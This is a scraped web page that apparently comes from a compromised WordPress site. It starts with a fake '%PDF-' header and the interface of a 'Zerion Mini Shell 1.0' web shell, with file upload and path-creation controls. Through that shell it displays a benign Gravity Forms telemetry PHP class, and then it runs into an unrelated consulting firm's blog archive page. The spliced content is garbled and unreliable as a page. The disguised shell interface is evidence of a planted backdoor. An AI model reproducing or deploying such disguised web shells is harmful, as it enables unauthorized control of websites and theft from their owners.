%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom329039/wp-content/plugins/gravityforms/includes/telemetry/
Upload File :
Create Path :
Current File : /dom329039/wp-content/plugins/gravityforms/includes/telemetry/class-gf-telemetry-processor.php

<?php

namespace Gravity_Forms\Gravity_Forms\Telemetry;
use GFCommon;
use function tad\WPBrowser\debug;

if ( ! class_exists( 'GFForms' ) ) {
	die();
}

if ( ! class_exists( 'GF_Background_Process' ) ) {
	require_once GF_PLUGIN_DIR_PATH . 'includes/libraries/gf-background-process.php';
}

/**
 * GF_Telemetry_Processor Class.
 */
class GF_Telemetry_Processor extends \GF_Background_Process {

	/**
	 * @var string
	 */
	protected $action = 'gf_telemetry_processor';

	/**
	 * Task
	 *
	 * Process a single batch of telemetry data.
	 *
	 * @param mixed $batch
	 * @return mixed
	 */
	protected function task( $batch ) {

		if ( ! is_array( $batch ) ) {
			$batch = array( $batch );
		}

		$raw_response = null;
		\GFCommon::log_debug( __METHOD__ . sprintf( '(): Processing a batch of %d telemetry data.', count( $batch ) ) );
		$data = array();
		foreach ( $batch as $item ) {

			if ( ! is_object( $item ) || ! property_exists( $item, 'data' ) ) {
				continue;
			}

			// attach type & tag, required by the telemetry API.
			$item->data['type'] = $item->key === 'snapshot' ? 'snapshot' : 'event';
			$item->data['tag']  = $item->key;
			$data[]             = $item->data;
		}
		$raw_response = GF_Telemetry_Data::send_data( $data );

		foreach ( $batch as $item ) {
			if ( ! is_object( $item ) ) {
				\GFCommon::log_debug( __METHOD__ . sprintf( '(): Telemetry data is missing. Aborting running data_sent method on this entry.' ) );
				continue;
			}
			$classname = get_class( $item );
			if ( method_exists( $classname, 'data_sent' ) ) {
				$classname::data_sent( $raw_response );
			}
		}

		return false;
	}
}

Zerion Mini Shell 1.0
September 2018 - GMH Consulting Group LLC Skip to content

GMH CONSULTING GROUP LLC

  • Home
  • Services
  • Customer Success Stories
  • Contact Us
×
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us

GMH CONSULTING GROUP LLC

Archive for September 2018

SAP Cloud Integration Platform

By pwsadmin |
A picture of the sap logo on a computer screen.

Browse Projects Accomplished by Our Consulting Team

Read More

Recent Posts

  • Advantages of mRNA Vaccines
  • Digitalization of Vaccines Enabled by S/4 HANA
  • SAP Cloud Integration Platform

Recent Comments

No comments to show.
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhconsultinggroup.com 

 

A logo of the gmh consulting group
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhcgroup.com

A logo of the gmh consulting group

© 2026 GMH Consulting Group LLC. All Rights Reserved.

Scroll To Top